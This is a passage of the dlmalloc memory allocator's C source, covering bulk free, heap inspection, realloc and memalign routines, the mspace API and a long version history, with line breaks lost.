set_size_and_pinuse_of_inuse_chunk(m, p, remainder_size); break; } } #if DEBUG if (marray != chunks) { /* final element must have exactly exhausted chunk */ if (element_size != 0) { assert(remainder_size == element_size); } else { assert(remainder_size == request2size(sizes[i])); } check_inuse_chunk(m, mem2chunk(marray)); } for (i = 0; i != n_elements; ++i) check_inuse_chunk(m, mem2chunk(marray[i])); #endif /* DEBUG */ POSTACTION(m); return marray; } /* Try to free all pointers in the given array. Note: this could be made faster, by delaying consolidation, at the price of disabling some user integrity checks, We still optimize some consolidations by combining adjacent chunks before freeing, which will occur often if allocated with ialloc or the array is sorted. */ static size_t internal_bulk_free(mstate m, void* array[], size_t nelem) { size_t unfreed = 0; if (!PREACTION(m)) { void** a; void** fence = &(array[nelem]); for (a = array; a != fence; ++a) { void* mem = *a; if (mem != 0) { mchunkptr p = mem2chunk(mem); size_t psize = chunksize(p); #if FOOTERS if (get_mstate_for(p) != m) { ++unfreed; continue; } #endif check_inuse_chunk(m, p); *a = 0; if (RTCHECK(ok_address(m, p) && ok_inuse(p))) { void ** b = a + 1; /* try to merge with next chunk */ mchunkptr next = next_chunk(p); if (b != fence && *b == chunk2mem(next)) { size_t newsize = chunksize(next) + psize; set_inuse(m, p, newsize); *b = chunk2mem(p); } else dispose_chunk(m, p, psize); } else { CORRUPTION_ERROR_ACTION(m); break; } } } if (should_trim(m, m->topsize)) sys_trim(m, 0); POSTACTION(m); } return unfreed; } /* Traversal */ #if MALLOC_INSPECT_ALL static void internal_inspect_all(mstate m, void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg) { if (is_initialized(m)) { mchunkptr top = m->top; msegmentptr s; for (s = &m->seg; s != 0; s = s->next) { mchunkptr q = align_as_chunk(s->base); while (segment_holds(s, q) && q->head != FENCEPOST_HEAD) { mchunkptr next = next_chunk(q); size_t sz = chunksize(q); size_t used; void* start; if (is_inuse(q)) { used = sz - CHUNK_OVERHEAD; /* must not be mmapped */ start = chunk2mem(q); } else { used = 0; if (is_small(sz)) { /* offset by possible bookkeeping */ start = (void*)((char*)q + sizeof(struct malloc_chunk)); } else { start = (void*)((char*)q + sizeof(struct malloc_tree_chunk)); } } if (start < (void*)next) /* skip if all space is bookkeeping */ handler(start, next, used, arg); if (q == top) break; q = next; } } } } #endif /* MALLOC_INSPECT_ALL */ /* ------------------ Exported realloc, memalign, etc -------------------- */ #if !ONLY_MSPACES void* dlrealloc(void* oldmem, size_t bytes) { void* mem = 0; if (oldmem == 0) { mem = dlmalloc(bytes); } else if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } #ifdef REALLOC_ZERO_BYTES_FREES else if (bytes == 0) { dlfree(oldmem); } #endif /* REALLOC_ZERO_BYTES_FREES */ else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = gm; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 1); POSTACTION(m); if (newp != 0) { check_inuse_chunk(m, newp); mem = chunk2mem(newp); } else { mem = internal_malloc(m, bytes); if (mem != 0) { size_t oc = chunksize(oldp) - overhead_for(oldp); memcpy(mem, oldmem, (oc < bytes)? oc : bytes); internal_free(m, oldmem); } } } } return mem; } void* dlrealloc_in_place(void* oldmem, size_t bytes) { void* mem = 0; if (oldmem != 0) { if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = gm; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 0); POSTACTION(m); if (newp == oldp) { check_inuse_chunk(m, newp); mem = oldmem; } } } } return mem; } void* dlmemalign(size_t alignment, size_t bytes) { if (alignment <= MALLOC_ALIGNMENT) { return dlmalloc(bytes); } return internal_memalign(gm, alignment, bytes); } int dlposix_memalign(void** pp, size_t alignment, size_t bytes) { void* mem = 0; if (alignment == MALLOC_ALIGNMENT) mem = dlmalloc(bytes); else { size_t d = alignment / sizeof(void*); size_t r = alignment % sizeof(void*); if (r != 0 || d == 0 || (d & (d-SIZE_T_ONE)) != 0) return EINVAL; else if (bytes <= MAX_REQUEST - alignment) { if (alignment < MIN_CHUNK_SIZE) alignment = MIN_CHUNK_SIZE; mem = internal_memalign(gm, alignment, bytes); } } if (mem == 0) return ENOMEM; else { *pp = mem; return 0; } } void* dlvalloc(size_t bytes) { size_t pagesz; ensure_initialization(); pagesz = mparams.page_size; return dlmemalign(pagesz, bytes); } void* dlpvalloc(size_t bytes) { size_t pagesz; ensure_initialization(); pagesz = mparams.page_size; return dlmemalign(pagesz, (bytes + pagesz - SIZE_T_ONE) & ~(pagesz - SIZE_T_ONE)); } void** dlindependent_calloc(size_t n_elements, size_t elem_size, void* chunks[]) { size_t sz = elem_size; /* serves as 1-element array */ return ialloc(gm, n_elements, &sz, 3, chunks); } void** dlindependent_comalloc(size_t n_elements, size_t sizes[], void* chunks[]) { return ialloc(gm, n_elements, sizes, 0, chunks); } size_t dlbulk_free(void* array[], size_t nelem) { return internal_bulk_free(gm, array, nelem); } #if MALLOC_INSPECT_ALL void dlmalloc_inspect_all(void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg) { ensure_initialization(); if (!PREACTION(gm)) { internal_inspect_all(gm, handler, arg); POSTACTION(gm); } } #endif /* MALLOC_INSPECT_ALL */ int dlmalloc_trim(size_t pad) { int result = 0; ensure_initialization(); if (!PREACTION(gm)) { result = sys_trim(gm, pad); POSTACTION(gm); } return result; } size_t dlmalloc_footprint(void) { return gm->footprint; } size_t dlmalloc_max_footprint(void) { return gm->max_footprint; } size_t dlmalloc_footprint_limit(void) { size_t maf = gm->footprint_limit; return maf == 0 ? MAX_SIZE_T : maf; } size_t dlmalloc_set_footprint_limit(size_t bytes) { size_t result; /* invert sense of 0 */ if (bytes == 0) result = granularity_align(1); /* Use minimal size */ if (bytes == MAX_SIZE_T) result = 0; /* disable */ else result = granularity_align(bytes); return gm->footprint_limit = result; } #if !NO_MALLINFO struct mallinfo dlmallinfo(void) { return internal_mallinfo(gm); } #endif /* NO_MALLINFO */ #if !NO_MALLOC_STATS void dlmalloc_stats() { internal_malloc_stats(gm); } #endif /* NO_MALLOC_STATS */ int dlmallopt(int param_number, int value) { return change_mparam(param_number, value); } size_t dlmalloc_usable_size(void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); if (is_inuse(p)) return chunksize(p) - overhead_for(p); } return 0; } #endif /* !ONLY_MSPACES */ /* ----------------------------- user mspaces ---------------------------- */ #if MSPACES static mstate init_user_mstate(char* tbase, size_t tsize) { size_t msize = pad_request(sizeof(struct malloc_state)); mchunkptr mn; mchunkptr msp = align_as_chunk(tbase); mstate m = (mstate)(chunk2mem(msp)); memset(m, 0, msize); (void)INITIAL_LOCK(&m->mutex); msp->head = (msize|INUSE_BITS); m->seg.base = m->least_addr = tbase; m->seg.size = m->footprint = m->max_footprint = tsize; m->magic = mparams.magic; m->release_checks = MAX_RELEASE_CHECK_RATE; m->mflags = mparams.default_mflags; m->extp = 0; m->exts = 0; disable_contiguous(m); init_bins(m); mn = next_chunk(mem2chunk(m)); init_top(m, mn, (size_t)((tbase + tsize) - (char*)mn) - TOP_FOOT_SIZE); check_top_chunk(m, m->top); return m; } mspace create_mspace(size_t capacity, int locked) { mstate m = 0; size_t msize; ensure_initialization(); msize = pad_request(sizeof(struct malloc_state)); if (capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) { size_t rs = ((capacity == 0)? mparams.granularity : (capacity + TOP_FOOT_SIZE + msize)); size_t tsize = granularity_align(rs); char* tbase = (char*)(CALL_MMAP(tsize)); if (tbase != CMFAIL) { m = init_user_mstate(tbase, tsize); m->seg.sflags = USE_MMAP_BIT; set_lock(m, locked); } } return (mspace)m; } mspace create_mspace_with_base(void* base, size_t capacity, int locked) { mstate m = 0; size_t msize; ensure_initialization(); msize = pad_request(sizeof(struct malloc_state)); if (capacity > msize + TOP_FOOT_SIZE && capacity < (size_t) -(msize + TOP_FOOT_SIZE + mparams.page_size)) { m = init_user_mstate((char*)base, capacity); m->seg.sflags = EXTERN_BIT; set_lock(m, locked); } return (mspace)m; } int mspace_track_large_chunks(mspace msp, int enable) { int ret = 0; mstate ms = (mstate)msp; if (!PREACTION(ms)) { if (!use_mmap(ms)) { ret = 1; } if (!enable) { enable_mmap(ms); } else { disable_mmap(ms); } POSTACTION(ms); } return ret; } size_t destroy_mspace(mspace msp) { size_t freed = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { msegmentptr sp = &ms->seg; (void)DESTROY_LOCK(&ms->mutex); /* destroy before unmapped */ while (sp != 0) { char* base = sp->base; size_t size = sp->size; flag_t flag = sp->sflags; (void)base; /* placate people compiling -Wunused-variable */ sp = sp->next; if ((flag & USE_MMAP_BIT) && !(flag & EXTERN_BIT) && CALL_MUNMAP(base, size) == 0) freed += size; } } else { USAGE_ERROR_ACTION(ms,ms); } return freed; } /* mspace versions of routines are near-clones of the global versions. This is not so nice but better than the alternatives. */ void* mspace_malloc(mspace msp, size_t bytes) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (!PREACTION(ms)) { void* mem; size_t nb; if (bytes <= MAX_SMALL_REQUEST) { bindex_t idx; binmap_t smallbits; nb = (bytes < MIN_REQUEST)? MIN_CHUNK_SIZE : pad_request(bytes); idx = small_index(nb); smallbits = ms->smallmap >> idx; if ((smallbits & 0x3U) != 0) { /* Remainderless fit to a smallbin. */ mchunkptr b, p; idx += ~smallbits & 1; /* Uses next bin if idx empty */ b = smallbin_at(ms, idx); p = b->fd; assert(chunksize(p) == small_index2size(idx)); unlink_first_small_chunk(ms, b, p, idx); set_inuse_and_pinuse(ms, p, small_index2size(idx)); mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (nb > ms->dvsize) { if (smallbits != 0) { /* Use chunk in next nonempty smallbin */ mchunkptr b, p, r; size_t rsize; bindex_t i; binmap_t leftbits = (smallbits << idx) & left_bits(idx2bit(idx)); binmap_t leastbit = least_bit(leftbits); compute_bit2idx(leastbit, i); b = smallbin_at(ms, i); p = b->fd; assert(chunksize(p) == small_index2size(i)); unlink_first_small_chunk(ms, b, p, i); rsize = small_index2size(i) - nb; /* Fit here cannot be remainderless if 4byte sizes */ if (SIZE_T_SIZE != 4 && rsize < MIN_CHUNK_SIZE) set_inuse_and_pinuse(ms, p, small_index2size(i)); else { set_size_and_pinuse_of_inuse_chunk(ms, p, nb); r = chunk_plus_offset(p, nb); set_size_and_pinuse_of_free_chunk(r, rsize); replace_dv(ms, r, rsize); } mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (ms->treemap != 0 && (mem = tmalloc_small(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } } else if (bytes >= MAX_REQUEST) nb = MAX_SIZE_T; /* Too big to allocate. Force failure (in sys alloc) */ else { nb = pad_request(bytes); if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { check_malloced_chunk(ms, mem, nb); goto postaction; } } if (nb <= ms->dvsize) { size_t rsize = ms->dvsize - nb; mchunkptr p = ms->dv; if (rsize >= MIN_CHUNK_SIZE) { /* split dv */ mchunkptr r = ms->dv = chunk_plus_offset(p, nb); ms->dvsize = rsize; set_size_and_pinuse_of_free_chunk(r, rsize); set_size_and_pinuse_of_inuse_chunk(ms, p, nb); } else { /* exhaust dv */ size_t dvs = ms->dvsize; ms->dvsize = 0; ms->dv = 0; set_inuse_and_pinuse(ms, p, dvs); } mem = chunk2mem(p); check_malloced_chunk(ms, mem, nb); goto postaction; } else if (nb < ms->topsize) { /* Split top */ size_t rsize = ms->topsize -= nb; mchunkptr p = ms->top; mchunkptr r = ms->top = chunk_plus_offset(p, nb); r->head = rsize | PINUSE_BIT; set_size_and_pinuse_of_inuse_chunk(ms, p, nb); mem = chunk2mem(p); check_top_chunk(ms, ms->top); check_malloced_chunk(ms, mem, nb); goto postaction; } mem = sys_alloc(ms, nb); postaction: POSTACTION(ms); return mem; } return 0; } void mspace_free(mspace msp, void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); #if FOOTERS mstate fm = get_mstate_for(p); (void)msp; /* placate people compiling -Wunused */ #else /* FOOTERS */ mstate fm = (mstate)msp; #endif /* FOOTERS */ if (!ok_magic(fm)) { USAGE_ERROR_ACTION(fm, p); return; } if (!PREACTION(fm)) { check_inuse_chunk(fm, p); if (RTCHECK(ok_address(fm, p) && ok_inuse(p))) { size_t psize = chunksize(p); mchunkptr next = chunk_plus_offset(p, psize); if (!pinuse(p)) { size_t prevsize = p->prev_foot; if (is_mmapped(p)) { psize += prevsize + MMAP_FOOT_PAD; if (CALL_MUNMAP((char*)p - prevsize, psize) == 0) fm->footprint -= psize; goto postaction; } else { mchunkptr prev = chunk_minus_offset(p, prevsize); psize += prevsize; p = prev; if (RTCHECK(ok_address(fm, prev))) { /* consolidate backward */ if (p != fm->dv) { unlink_chunk(fm, p, prevsize); } else if ((next->head & INUSE_BITS) == INUSE_BITS) { fm->dvsize = psize; set_free_with_pinuse(p, psize, next); goto postaction; } } else goto erroraction; } } if (RTCHECK(ok_next(p, next) && ok_pinuse(next))) { if (!cinuse(next)) { /* consolidate forward */ if (next == fm->top) { size_t tsize = fm->topsize += psize; fm->top = p; p->head = tsize | PINUSE_BIT; if (p == fm->dv) { fm->dv = 0; fm->dvsize = 0; } if (should_trim(fm, tsize)) sys_trim(fm, 0); goto postaction; } else if (next == fm->dv) { size_t dsize = fm->dvsize += psize; fm->dv = p; set_size_and_pinuse_of_free_chunk(p, dsize); goto postaction; } else { size_t nsize = chunksize(next); psize += nsize; unlink_chunk(fm, next, nsize); set_size_and_pinuse_of_free_chunk(p, psize); if (p == fm->dv) { fm->dvsize = psize; goto postaction; } } } else set_free_with_pinuse(p, psize, next); if (is_small(psize)) { insert_small_chunk(fm, p, psize); check_free_chunk(fm, p); } else { tchunkptr tp = (tchunkptr)p; insert_large_chunk(fm, tp, psize); check_free_chunk(fm, p); if (--fm->release_checks == 0) release_unused_segments(fm); } goto postaction; } } erroraction: USAGE_ERROR_ACTION(fm, p); postaction: POSTACTION(fm); } } } void* mspace_calloc(mspace msp, size_t n_elements, size_t elem_size) { void* mem; size_t req = 0; mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (n_elements != 0) { req = n_elements * elem_size; if (((n_elements | elem_size) & ~(size_t)0xffff) && (req / n_elements != elem_size)) req = MAX_SIZE_T; /* force downstream failure on overflow */ } mem = internal_malloc(ms, req); if (mem != 0 && calloc_must_clear(mem2chunk(mem))) memset(mem, 0, req); return mem; } void* mspace_realloc(mspace msp, void* oldmem, size_t bytes) { void* mem = 0; if (oldmem == 0) { mem = mspace_malloc(msp, bytes); } else if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } #ifdef REALLOC_ZERO_BYTES_FREES else if (bytes == 0) { mspace_free(msp, oldmem); } #endif /* REALLOC_ZERO_BYTES_FREES */ else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = (mstate)msp; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 1); POSTACTION(m); if (newp != 0) { check_inuse_chunk(m, newp); mem = chunk2mem(newp); } else { mem = mspace_malloc(m, bytes); if (mem != 0) { size_t oc = chunksize(oldp) - overhead_for(oldp); memcpy(mem, oldmem, (oc < bytes)? oc : bytes); mspace_free(m, oldmem); } } } } return mem; } void* mspace_realloc_in_place(mspace msp, void* oldmem, size_t bytes) { void* mem = 0; if (oldmem != 0) { if (bytes >= MAX_REQUEST) { MALLOC_FAILURE_ACTION; } else { size_t nb = request2size(bytes); mchunkptr oldp = mem2chunk(oldmem); #if ! FOOTERS mstate m = (mstate)msp; #else /* FOOTERS */ mstate m = get_mstate_for(oldp); (void)msp; /* placate people compiling -Wunused */ if (!ok_magic(m)) { USAGE_ERROR_ACTION(m, oldmem); return 0; } #endif /* FOOTERS */ if (!PREACTION(m)) { mchunkptr newp = try_realloc_chunk(m, oldp, nb, 0); POSTACTION(m); if (newp == oldp) { check_inuse_chunk(m, newp); mem = oldmem; } } } } return mem; } void* mspace_memalign(mspace msp, size_t alignment, size_t bytes) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } if (alignment <= MALLOC_ALIGNMENT) return mspace_malloc(msp, bytes); return internal_memalign(ms, alignment, bytes); } void** mspace_independent_calloc(mspace msp, size_t n_elements, size_t elem_size, void* chunks[]) { size_t sz = elem_size; /* serves as 1-element array */ mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return ialloc(ms, n_elements, &sz, 3, chunks); } void** mspace_independent_comalloc(mspace msp, size_t n_elements, size_t sizes[], void* chunks[]) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); return 0; } return ialloc(ms, n_elements, sizes, 0, chunks); } size_t mspace_bulk_free(mspace msp, void* array[], size_t nelem) { return internal_bulk_free((mstate)msp, array, nelem); } #if MALLOC_INSPECT_ALL void mspace_inspect_all(mspace msp, void(*handler)(void *start, void *end, size_t used_bytes, void* callback_arg), void* arg) { mstate ms = (mstate)msp; if (ok_magic(ms)) { if (!PREACTION(ms)) { internal_inspect_all(ms, handler, arg); POSTACTION(ms); } } else { USAGE_ERROR_ACTION(ms,ms); } } #endif /* MALLOC_INSPECT_ALL */ int mspace_trim(mspace msp, size_t pad) { int result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { if (!PREACTION(ms)) { result = sys_trim(ms, pad); POSTACTION(ms); } } else { USAGE_ERROR_ACTION(ms,ms); } return result; } #if !NO_MALLOC_STATS void mspace_malloc_stats(mspace msp) { mstate ms = (mstate)msp; if (ok_magic(ms)) { internal_malloc_stats(ms); } else { USAGE_ERROR_ACTION(ms,ms); } } #endif /* NO_MALLOC_STATS */ size_t mspace_footprint(mspace msp) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { result = ms->footprint; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } size_t mspace_max_footprint(mspace msp) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { result = ms->max_footprint; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } size_t mspace_footprint_limit(mspace msp) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { size_t maf = ms->footprint_limit; result = (maf == 0) ? MAX_SIZE_T : maf; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } size_t mspace_set_footprint_limit(mspace msp, size_t bytes) { size_t result = 0; mstate ms = (mstate)msp; if (ok_magic(ms)) { if (bytes == 0) result = granularity_align(1); /* Use minimal size */ if (bytes == MAX_SIZE_T) result = 0; /* disable */ else result = granularity_align(bytes); ms->footprint_limit = result; } else { USAGE_ERROR_ACTION(ms,ms); } return result; } #if !NO_MALLINFO struct mallinfo mspace_mallinfo(mspace msp) { mstate ms = (mstate)msp; if (!ok_magic(ms)) { USAGE_ERROR_ACTION(ms,ms); } return internal_mallinfo(ms); } #endif /* NO_MALLINFO */ size_t mspace_usable_size(const void* mem) { if (mem != 0) { mchunkptr p = mem2chunk(mem); if (is_inuse(p)) return chunksize(p) - overhead_for(p); } return 0; } int mspace_mallopt(int param_number, int value) { return change_mparam(param_number, value); } #endif /* MSPACES */ /* -------------------- Alternative MORECORE functions ------------------- */ /* Guidelines for creating a custom version of MORECORE: * For best performance, MORECORE should allocate in multiples of pagesize. * MORECORE may allocate more memory than requested. (Or even less, but this will usually result in a malloc failure.) * MORECORE must not allocate memory when given argument zero, but instead return one past the end address of memory from previous nonzero call. * For best performance, consecutive calls to MORECORE with positive arguments should return increasing addresses, indicating that space has been contiguously extended. * Even though consecutive calls to MORECORE need not return contiguous addresses, it must be OK for malloc'ed chunks to span multiple regions in those cases where they do happen to be contiguous. * MORECORE need not handle negative arguments -- it may instead just return MFAIL when given negative arguments. Negative arguments are always multiples of pagesize. MORECORE must not misinterpret negative args as large positive unsigned args. You can suppress all such calls from even occurring by defining MORECORE_CANNOT_TRIM, As an example alternative MORECORE, here is a custom allocator kindly contributed for pre-OSX macOS. It uses virtually but not necessarily physically contiguous non-paged memory (locked in, present and won't get swapped out). You can use it by uncommenting this section, adding some #includes, and setting up the appropriate defines above: #define MORECORE osMoreCore There is also a shutdown routine that should somehow be called for cleanup upon program exit. #define MAX_POOL_ENTRIES 100 #define MINIMUM_MORECORE_SIZE (64 * 1024U) static int next_os_pool; void *our_os_pools[MAX_POOL_ENTRIES]; void *osMoreCore(int size) { void *ptr = 0; static void *sbrk_top = 0; if (size > 0) { if (size < MINIMUM_MORECORE_SIZE) size = MINIMUM_MORECORE_SIZE; if (CurrentExecutionLevel() == kTaskLevel) ptr = PoolAllocateResident(size + RM_PAGE_SIZE, 0); if (ptr == 0) { return (void *) MFAIL; } // save ptrs so they can be freed during cleanup our_os_pools[next_os_pool] = ptr; next_os_pool++; ptr = (void *) ((((size_t) ptr) + RM_PAGE_MASK) & ~RM_PAGE_MASK); sbrk_top = (char *) ptr + size; return ptr; } else if (size < 0) { // we don't currently support shrink behavior return (void *) MFAIL; } else { return sbrk_top; } } // cleanup any allocated memory pools // called as last thing before shutting down driver void osCleanupMem(void) { void **ptr; for (ptr = our_os_pools; ptr < &our_os_pools[MAX_POOL_ENTRIES]; ptr++) if (*ptr) { PoolDeallocate(*ptr); *ptr = 0; } } */ /* ----------------------------------------------------------------------- History: v2.8.6 Wed Aug 29 06:57:58 2012 Doug Lea * fix bad comparison in dlposix_memalign * don't reuse adjusted asize in sys_alloc * add LOCK_AT_FORK -- thanks to Kirill Artamonov for the suggestion * reduce compiler warnings -- thanks to all who reported/suggested these v2.8.5 Sun May 22 10:26:02 2011 Doug Lea (dl at gee) * Always perform unlink checks unless INSECURE * Add posix_memalign. * Improve realloc to expand in more cases; expose realloc_in_place. Thanks to Peter Buhr for the suggestion. * Add footprint_limit, inspect_all, bulk_free. Thanks to Barry Hayes and others for the suggestions. * Internal refactorings to avoid calls while holding locks * Use non-reentrant locks by default. Thanks to Roland McGrath for the suggestion. * Small fixes to mspace_destroy, reset_on_error. * Various configuration extensions/changes. Thanks to all who contributed these. V2.8.4a Thu Apr 28 14:39:43 2011 (dl at gee.cs.oswego.edu) * Update Creative Commons URL V2.8.4 Wed May 27 09:56:23 2009 Doug Lea (dl at gee) * Use zeros instead of prev foot for is_mmapped * Add mspace_track_large_chunks; thanks to Jean Brouwers * Fix set_inuse in internal_realloc; thanks to Jean Brouwers * Fix insufficient sys_alloc padding when using 16byte alignment * Fix bad error check in mspace_footprint * Adaptations for ptmalloc; thanks to Wolfram Gloger. * Reentrant spin locks; thanks to Earl Chew and others * Win32 improvements; thanks to Niall Douglas and Earl Chew * Add NO_SEGMENT_TRAVERSAL and MAX_RELEASE_CHECK_RATE options * Extension hook in malloc_state * Various small adjustments to reduce warnings on some compilers * Various configuration extensions/changes for more platforms. Thanks to all who contributed these. V2.8.3 Thu Sep 22 11:16:32 2005 Doug Lea (dl at gee) * Add max_footprint functions * Ensure all appropriate literals are size_t * Fix conditional compilation problem for some #define settings * Avoid concatenating segments with the one provided in create_mspace_with_base * Rename some variables to avoid compiler shadowing warnings * Use explicit lock initialization. * Better handling of sbrk interference. * Simplify and fix segment insertion, trimming and mspace_destroy * Reinstate REALLOC_ZERO_BYTES_FREES option from 2.7.x * Thanks especially to Dennis Flanagan for help on these. V2.8.2 Sun Jun 12 16:01:10 2005 Doug Lea (dl at gee) * Fix memalign brace error. V2.8.1 Wed Jun 8 16:11:46 2005 Doug Lea (dl at gee) * Fix improper #endif nesting in C++ * Add explicit casts needed for C++ V2.8.0 Mon May 30 14:09:02 2005 Doug Lea (dl at gee) * Use trees for large bins * Support mspaces * Use segments to unify sbrk-based and mmap-based system allocation, removing need for emulation on most platforms without sbrk. * Default safety checks * Optional footer checks. Thanks to William Robertson for the idea. * Internal code refactoring * Incorporate suggestions and platform-specific changes. Thanks to Dennis Flanagan, Colin Plumb, Niall Douglas, Aaron Bachmann, Emery Berger, and others. * Speed up non-fastbin processing enough to remove fastbins. * Remove useless cfree() to avoid conflicts with other apps. * Remove internal memcpy, memset. Compilers handle builtins better. * Remove some options that no one ever used and rename others. V2.7.2 Sat Aug 17 09:07:30 2002 Doug Lea (dl at gee) * Fix malloc_state bitmap array misdeclaration V2.7.1 Thu Jul 25 10:58:03 2002 Doug Lea (dl at gee) * Allow tuning of FIRST_SORTED_BIN_SIZE * Use PTR_UINT as type for all ptr->int casts. Thanks to John Belmonte. * Better detection and support for non-contiguousness of MORECORE. Thanks to Andreas Mueller, Conal Walsh, and Wolfram Gloger * Bypass most of malloc if no frees. Thanks To Emery Berger. * Fix freeing of old top non-contiguous chunk im sysmalloc. * Raised default trim and map thresholds to 256K. * Fix mmap-related #defines. Thanks to Lubos Lunak. * Fix copy macros; added LACKS_FCNTL_H. Thanks to Neal Walfield. * Branch-free bin calculation * Default trim and mmap thresholds now 256K. V2.7.0 Sun Mar 11 14:14:06 2001 Doug Lea (dl at gee) * Introduce independent_comalloc and independent_calloc. Thanks to Michael Pachos for motivation and help. * Make optional .h file available * Allow > 2GB requests on 32bit systems. * new WIN32 sbrk, mmap, munmap, lock code from . Thanks also to Andreas Mueller , and Anonymous. * Allow override of MALLOC_ALIGNMENT (Thanks to Ruud Waij for helping test this.) * memalign: check alignment arg * realloc: don't try to shift chunks backwards, since this leads to more fragmentation in some programs and doesn't seem to help in any others. * Collect all cases in malloc requiring system memory into sysmalloc * Use mmap as backup to sbrk * Place all internal state in malloc_state * Introduce fastbins (although similar to 2.5.1) * Many minor tunings and cosmetic improvements * Introduce USE_PUBLIC_MALLOC_WRAPPERS, USE_MALLOC_LOCK * Introduce MALLOC_FAILURE_ACTION, MORECORE_CONTIGUOUS Thanks to Tony E. Bennett and others. * Include errno.h to support default failure action. V2.6.6 Sun Dec 5 07:42:19 1999 Doug Lea (dl at gee) * return null for negative arguments * Added Several WIN32 cleanups from Martin C. Fong * Add 'LACKS_SYS_PARAM_H' for those systems without 'sys/param.h' (e.g. WIN32 platforms) * Cleanup header file inclusion for WIN32 platforms * Cleanup code to avoid Microsoft Visual C++ compiler complaints * Add 'USE_DL_PREFIX' to quickly allow co-existence with existing memory allocation routines * Set 'malloc_getpagesize' for WIN32 platforms (needs more work) * Use 'assert' rather than 'ASSERT' in WIN32 code to conform to usage of 'assert' in non-WIN32 code * Improve WIN32 'sbrk()' emulation's 'findRegion()' routine to avoid infinite loop * Always call 'fREe()' rather than 'free()' V2.6.5 Wed Jun 17 15:57:31 1998 Doug Lea (dl at gee) * Fixed ordering problem with boundary-stamping V2.6.3 Sun May 19 08:17:58 1996 Doug Lea (dl at gee) * Added pvalloc, as recommended by H.J. Liu * Added 64bit pointer support mainly from Wolfram Gloger * Added anonymously donated WIN32 sbrk emulation * Malloc, calloc, getpagesize: add optimizations from Raymond Nijssen * malloc_extend_top: fix mask error that caused wastage after foreign sbrks * Add linux mremap support code from HJ Liu V2.6.2 Tue Dec 5 06:52:55 1995 Doug Lea (dl at gee) * Integrated most documentation with the code. * Add support for mmap, with help from Wolfram Gloger (Gloger@lrz.uni-muenchen.de). * Use last_remainder in more cases. * Pack bins using idea from colin@nyx10.cs.du.edu * Use ordered bins instead of best-fit threshhold * Eliminate block-local decls to simplify tracing and debugging. * Support another case of realloc via move into top * Fix error occuring when initial sbrk_base not word-aligned. * Rely on page size for units instead of SBRK_UNIT to avoid surprises about sbrk alignment conventions. * Add mallinfo, mallopt. Thanks to Raymond Nijssen (raymond@es.ele.tue.nl) for the suggestion. * Add `pad' argument to malloc_trim and top_pad mallopt parameter. * More precautions for cases where other routines call sbrk, courtesy of Wolfram Gloger (Gloger@lrz.uni-muenchen.de). * Added macros etc., allowing use in linux libc from H.J. Lu (hjl@gnu.ai.mit.edu) * Inverted this history list V2.6.1 Sat Dec 2 14:10:57 1995 Doug Lea (dl at gee) * Re-tuned and fixed to behave more nicely with V2.6.0 changes. * Removed all preallocation code since under current scheme the work required to undo bad preallocations exceeds the work saved in good cases for most test programs. * No longer use return list or unconsolidated bins since no scheme using them consistently outperforms those that don't given above changes. * Use best fit for very large chunks to prevent some worst-cases. * Added some support for debugging V2.6.0 Sat Nov 4 07:05:23 1995 Doug Lea (dl at gee) * Removed footers when chunks are in use. Thanks to Paul Wilson (wilson@cs.texas.edu) for the suggestion. V2.5.4 Wed Nov 1 07:54:51 1995 Doug Lea (dl at gee) * Added malloc_trim, with help from Wolfram Gloger (wmglo@Dent.MED.Uni-Muenchen.DE). V2.5.3 Tue Apr 26 10:16:01 1994 Doug Lea (dl at g) V2.5.2 Tue Apr 5 16:20:40 1994 Doug Lea (dl at g) * realloc: try to expand in both directions * malloc: swap order of clean-bin strategy; * realloc: only conditionally expand backwards * Try not to scavenge used bins * Use bin counts as a guide to preallocation * Occasionally bin return list chunks in first scan * Add a few optimizations from colin@nyx10.cs.du.edu V2.5.1 Sat Aug 14 